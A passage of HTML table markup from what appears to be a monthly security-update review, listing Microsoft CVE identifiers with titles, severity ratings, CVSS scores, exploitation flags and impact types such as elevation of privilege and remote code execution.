  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
